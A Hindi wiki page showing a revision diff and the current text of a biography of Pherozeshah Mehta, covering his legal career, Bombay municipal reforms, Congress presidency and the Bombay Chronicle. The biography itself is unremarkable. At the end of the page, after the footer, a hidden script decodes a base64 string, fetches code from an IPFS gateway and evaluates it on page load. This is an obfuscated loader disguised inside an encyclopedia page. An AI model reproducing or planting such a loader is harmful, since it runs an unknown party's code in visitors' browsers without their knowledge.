फिरोज़शाह मेहता: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
No edit summary
No edit summary
 
Line 12: Line 12:
|संतान=
|संतान=
|गुरु=
|गुरु=
|कर्म भूमि=
|कर्म भूमि=[[भारत]]
|कर्म-क्षेत्र= राजनेता, बैरिस्टर, सम्पादक
|कर्म-क्षेत्र= राजनेता, बैरिस्टर, सम्पादक
|मुख्य रचनाएँ=
|मुख्य रचनाएँ=
Line 21: Line 21:
|विद्यालय=
|विद्यालय=
|पुरस्कार-उपाधि=नाइट
|पुरस्कार-उपाधि=नाइट
|प्रसिद्धि=
|प्रसिद्धि=राजनेता
|विशेष योगदान=बंबई नगरपालिका के संविधान (चार्टर) के निर्माता तथा [[अंग्रेज़ी भाषा]] के अखबार बॉम्बे क्रॉनिकल के संस्थापक
|विशेष योगदान=बंबई नगरपालिका के संविधान (चार्टर) के निर्माता तथा [[अंग्रेज़ी भाषा]] के [[अखबार]] बॉम्बे क्रॉनिकल के संस्थापक
|नागरिकता=भारतीय
|नागरिकता=भारतीय
|संबंधित लेख=
|संबंधित लेख=
Line 39: Line 39:
|अद्यतन=
|अद्यतन=
}}
}}
'''फिरोज़शाह मेहता''' ([[अंग्रेज़ी]]: ''Pherozeshah Mehta'', जन्म- [[4 अगस्त]], 1845; मृत्यु- [[5 नवम्बर]], [[1915]]) भारतीय राजनेता, बंबई नगरपालिका के संविधान (चार्टर) के निर्माता तथा [[अंग्रेज़ी भाषा]] के अखबार' बॉम्बे क्रॉनिकल' के संस्थापक ([[1913]]) थे। [[1904]] में उन्हें 'नाइट' की उपाधि से विभूषित किया गया।  
'''फिरोज़शाह मेहता''' ([[अंग्रेज़ी]]: ''Pherozeshah Mehta'', जन्म- [[4 अगस्त]], 1845; मृत्यु- [[5 नवम्बर]], [[1915]]) भारतीय राजनेता, बंबई नगरपालिका के संविधान (चार्टर) के निर्माता तथा [[अंग्रेज़ी भाषा]] के अखबार' बॉम्बे क्रॉनिकल' के संस्थापक ([[1913]]) थे। [[1904]] में उन्हें 'नाइट' की उपाधि से विभूषित किया गया।
==जीवन परिचय==
==जीवन परिचय==
अपने समय के प्रसिद्ध भारतीय नेता और स्पष्ट वक्ता फिरोज़शाह मेहता का जन्म 4 अगस्त, 1845 ई. को [[मुम्बई]] के एक प्रसिद्ध व्यवसायी [[परिवार]] में हुआ था। आपने [[भारत]] में उच्च शिक्षा प्राप्त की थी। [[पारसी धर्म|पारसी]] समाज में एम. ए. पास करने वाले फिरोज़शाह मेहता पहले युवक थे। फ़िरोज़शाह ने चार [[वर्ष]] तक [[इंग्लैड]] में क़ानून का अध्ययन किया तथा [[1868]] में वहीं से वकालत (बैरिस्टर) की परीक्षा उत्तीर्ण कर भारत लौटे। मुम्बई के कमिश्नर आर्थर क्रॉफ़र्ड का एक क़ानूनी मामले में बचाव करते हुए उन्होंने स्थानीय शासन के सुधार की आवश्यकता महसूस की और [[1872]] के 'नगरपालिका अधिनियम' की रूपरेखा तैयार की, जिसके कारण वह 'बंबई स्थानीय शासन के जनक' कहलाए। [[1873]] में वह इसके आयुक्त नियुक्त हुए और [[1884]]-[[1885|85]] तथा [[1905]] में अध्यक्ष के रूप में भी कार्य किया। [[1886]] से बंबई विधान परिषद के सदस्य रहते हुए वह [[1893]] में [[गवर्नर-जनरल]] की सर्वोच्च विधान परिषद के लिए चुने गए। [[1890]] में उन्होंने [[भारतीय राष्ट्रीय कांग्रेस]] के छठे अधिवेशन की अध्यक्षता की। [[1910]] में इंग्लैंड की संक्षिप्त यात्रा के पश्चात् वह [[बंबई विश्वविद्यालय]] के कुलपति नियुक्त हुए। [[1911]] में उन्होंने उस [[सेंट्रल बैंक ऑफ़ इंडिया]] की स्थापना में योगदान किया, जो भारतीयों द्वारा वित्त पोषित तथा नियंत्रित था।
अपने समय के प्रसिद्ध भारतीय नेता और स्पष्ट वक्ता फिरोज़शाह मेहता का जन्म 4 अगस्त, 1845 ई. को [[मुम्बई]] के एक प्रसिद्ध व्यवसायी [[परिवार]] में हुआ था। आपने [[भारत]] में उच्च शिक्षा प्राप्त की थी। [[पारसी धर्म|पारसी]] समाज में एम. ए. पास करने वाले फिरोज़शाह मेहता पहले युवक थे। फ़िरोज़शाह ने चार [[वर्ष]] तक [[इंग्लैड]] में क़ानून का अध्ययन किया तथा [[1868]] में वहीं से वकालत (बैरिस्टर) की परीक्षा उत्तीर्ण कर भारत लौटे। मुम्बई के कमिश्नर आर्थर क्रॉफ़र्ड का एक क़ानूनी मामले में बचाव करते हुए उन्होंने स्थानीय शासन के सुधार की आवश्यकता महसूस की और [[1872]] के 'नगरपालिका अधिनियम' की रूपरेखा तैयार की, जिसके कारण वह 'बंबई स्थानीय शासन के जनक' कहलाए। [[1873]] में वह इसके आयुक्त नियुक्त हुए और [[1884]]-[[1885|85]] तथा [[1905]] में अध्यक्ष के रूप में भी कार्य किया। [[1886]] से बंबई विधान परिषद के सदस्य रहते हुए वह [[1893]] में [[गवर्नर-जनरल]] की सर्वोच्च विधान परिषद के लिए चुने गए। [[1890]] में उन्होंने [[भारतीय राष्ट्रीय कांग्रेस]] के छठे अधिवेशन की अध्यक्षता की। [[1910]] में इंग्लैंड की संक्षिप्त यात्रा के पश्चात् वह [[बंबई विश्वविद्यालय]] के कुलपति नियुक्त हुए। [[1911]] में उन्होंने उस [[सेंट्रल बैंक ऑफ़ इंडिया]] की स्थापना में योगदान किया, जो भारतीयों द्वारा वित्त पोषित तथा नियंत्रित था।
Line 48: Line 48:
[[चित्र:Pherozeshah-Mehta-stamp.jpg|thumb|left|फिरोज़शाह मेहता के सम्मान में जारी [[डाक टिकट]]]]
[[चित्र:Pherozeshah-Mehta-stamp.jpg|thumb|left|फिरोज़शाह मेहता के सम्मान में जारी [[डाक टिकट]]]]
====शिक्षा के पक्षधर====
====शिक्षा के पक्षधर====
फिरोज़शाह मेहता शिक्षा पर बहुत ज़ोर देते थे। नौकरशाही को जनता की माँ-बाप समझने की प्रवृत्ति का उन्होंने सदा विरोध किया। वे अपने समय के उन थोड़े से नेताओं में से थे, जिनका जनता और अंग्रेज़ सरकार दोनों सम्मान करते थे। समय-समय पर वे सरकार से भिड़ भी जाते थे। अपने जीवन के अन्तिम दिनों में फिरोज़शाह मेहता ने [[अंग्रेज़ी]] दैनिक पत्र ‘बॉम्बे क्रॉनिकल’ का प्रकाशन आरम्भ किया। बाद में इस पत्र का देश के [[भारतीय राष्ट्रीय आन्दोलन|स्वतंत्रता संग्राम]] में बड़ा योगदान रहा।
फिरोज़शाह मेहता शिक्षा पर बहुत ज़ोर देते थे। नौकरशाही को जनता की माँ-बाप समझने की प्रवृत्ति का उन्होंने सदा विरोध किया। वे अपने समय के उन थोड़े से नेताओं में से थे, जिनका जनता और [[अंग्रेज़]] सरकार दोनों सम्मान करते थे। समय-समय पर वे सरकार से भिड़ भी जाते थे। अपने जीवन के अन्तिम दिनों में फिरोज़शाह मेहता ने [[अंग्रेज़ी]] दैनिक पत्र ‘बॉम्बे क्रॉनिकल’ का प्रकाशन आरम्भ किया। बाद में इस पत्र का देश के [[भारतीय राष्ट्रीय आन्दोलन|स्वतंत्रता संग्राम]] में बड़ा योगदान रहा।
==निधन==
==निधन==
[[5 नवम्बर]], [[1915]] ई. को फिरोज़शाह मेहता का निधन हो गया।
[[5 नवम्बर]], [[1915]] ई. को फिरोज़शाह मेहता का निधन हो गया।

Latest revision as of 06:06, 5 November 2017

फिरोज़शाह मेहता
पूरा नाम फिरोज़शाह मेहता
जन्म 4 अगस्त, 1845
जन्म भूमि बॉम्बे (अब मुम्बई)
मृत्यु 5 नवम्बर, 1915
कर्म भूमि भारत
कर्म-क्षेत्र राजनेता, बैरिस्टर, सम्पादक
भाषा हिंदी, अंग्रेज़ी
शिक्षा एम. ए., वकालत
पुरस्कार-उपाधि नाइट
प्रसिद्धि राजनेता
विशेष योगदान बंबई नगरपालिका के संविधान (चार्टर) के निर्माता तथा अंग्रेज़ी भाषा के अखबार बॉम्बे क्रॉनिकल के संस्थापक
नागरिकता भारतीय
अन्य जानकारी अपने जीवन के अन्तिम दिनों में फिरोज़शाह मेहता ने अंग्रेज़ी दैनिक पत्र ‘बॉम्बे क्रॉनिकल’ का प्रकाशन आरम्भ किया। बाद में इस पत्र का देश के स्वतंत्रता संग्राम में बड़ा योगदान रहा।

फिरोज़शाह मेहता (अंग्रेज़ी: Pherozeshah Mehta, जन्म- 4 अगस्त, 1845; मृत्यु- 5 नवम्बर, 1915) भारतीय राजनेता, बंबई नगरपालिका के संविधान (चार्टर) के निर्माता तथा अंग्रेज़ी भाषा के अखबार' बॉम्बे क्रॉनिकल' के संस्थापक (1913) थे। 1904 में उन्हें 'नाइट' की उपाधि से विभूषित किया गया।

जीवन परिचय

अपने समय के प्रसिद्ध भारतीय नेता और स्पष्ट वक्ता फिरोज़शाह मेहता का जन्म 4 अगस्त, 1845 ई. को मुम्बई के एक प्रसिद्ध व्यवसायी परिवार में हुआ था। आपने भारत में उच्च शिक्षा प्राप्त की थी। पारसी समाज में एम. ए. पास करने वाले फिरोज़शाह मेहता पहले युवक थे। फ़िरोज़शाह ने चार वर्ष तक इंग्लैड में क़ानून का अध्ययन किया तथा 1868 में वहीं से वकालत (बैरिस्टर) की परीक्षा उत्तीर्ण कर भारत लौटे। मुम्बई के कमिश्नर आर्थर क्रॉफ़र्ड का एक क़ानूनी मामले में बचाव करते हुए उन्होंने स्थानीय शासन के सुधार की आवश्यकता महसूस की और 1872 के 'नगरपालिका अधिनियम' की रूपरेखा तैयार की, जिसके कारण वह 'बंबई स्थानीय शासन के जनक' कहलाए। 1873 में वह इसके आयुक्त नियुक्त हुए और 1884-85 तथा 1905 में अध्यक्ष के रूप में भी कार्य किया। 1886 से बंबई विधान परिषद के सदस्य रहते हुए वह 1893 में गवर्नर-जनरल की सर्वोच्च विधान परिषद के लिए चुने गए। 1890 में उन्होंने भारतीय राष्ट्रीय कांग्रेस के छठे अधिवेशन की अध्यक्षता की। 1910 में इंग्लैंड की संक्षिप्त यात्रा के पश्चात् वह बंबई विश्वविद्यालय के कुलपति नियुक्त हुए। 1911 में उन्होंने उस सेंट्रल बैंक ऑफ़ इंडिया की स्थापना में योगदान किया, जो भारतीयों द्वारा वित्त पोषित तथा नियंत्रित था।

कार्यक्षेत्र

फिरोज़शाह मेहता बैरिस्टरी की शिक्षा प्राप्त करने के लिए इंग्लैण्ड गए। वहाँ उनका दादाभाई नौरोजी से भी सम्पर्क हुआ। वे वहाँ भारत के पक्ष में आवाज़ उठाने वाली संस्थाओं से भी जुड़े रहे। भारत आकर उन्होंने वकालत आरम्भ की और शीघ्र ही उनकी गणना सफल बैरिस्टरों में होने लगी। उन्होंने 'मुम्बई म्युनिसिपल बोर्ड' के कार्यों में गहरी रुचि ली। उनका नगर में इतना प्रभाव था कि उन्हें ‘मुम्बई का मुकुटहीन राजा’ कहा जाता था। फिरोज़शाह मेहता 1886 में 'मुम्बई लेजिस्लेटिव कॉंसिल' के लिए मनोनीत किए गए। बाद में केन्द्र की 'इंपीरियल कॉंसिल' के भी सदस्य रहे।

अंग्रेज़ों के प्रशंसक

कांग्रेस से उनका सम्बन्ध उसकी स्थापना के समय ही हो गया था। उस समय के अनेक नेताओं की भाँति फिरोज़शाह मेहता भी नरम विचारों के राजनीतिज्ञ थे। वे अंग्रेज़ों के प्रशंसक थे। 1890 ई. में उन्होंने कांग्रेस के कोलकाता अधिवेशन की अध्यक्षता की। इस अवसर पर उन्होंने अपने भाषण में कहा था कि, "यदि आप अंग्रेज़ों के सामाजिक, नैतिक, मानसिक और राजनीतिक गुणों को अपनायेंगे तो भारत और ब्रिटेन के बीच सदा अच्छा सम्बन्ध रहेगा।" 1904 की मुम्बई कांग्रेस के स्वागताध्यक्ष के रूप में भाषण करते हुए उन्होंने कहा कि, "मैंने दुनिया को नहीं बनाया, जिसने इसे बनाया है, वह स्वयं इसे सम्भालेगा। इसीलिए मैं तो अंग्रेज़ी राज को ईश्वर की देन मानता हूँ।" [[चित्र:Pherozeshah-Mehta-stamp.jpg|thumb|left|फिरोज़शाह मेहता के सम्मान में जारी डाक टिकट]]

शिक्षा के पक्षधर

फिरोज़शाह मेहता शिक्षा पर बहुत ज़ोर देते थे। नौकरशाही को जनता की माँ-बाप समझने की प्रवृत्ति का उन्होंने सदा विरोध किया। वे अपने समय के उन थोड़े से नेताओं में से थे, जिनका जनता और अंग्रेज़ सरकार दोनों सम्मान करते थे। समय-समय पर वे सरकार से भिड़ भी जाते थे। अपने जीवन के अन्तिम दिनों में फिरोज़शाह मेहता ने अंग्रेज़ी दैनिक पत्र ‘बॉम्बे क्रॉनिकल’ का प्रकाशन आरम्भ किया। बाद में इस पत्र का देश के स्वतंत्रता संग्राम में बड़ा योगदान रहा।

निधन

5 नवम्बर, 1915 ई. को फिरोज़शाह मेहता का निधन हो गया।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

शर्मा, लीलाधर भारतीय चरित कोश (हिन्दी)। भारत डिस्कवरी पुस्तकालय: शिक्षा भारती, दिल्ली, पृष्ठ 501।

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>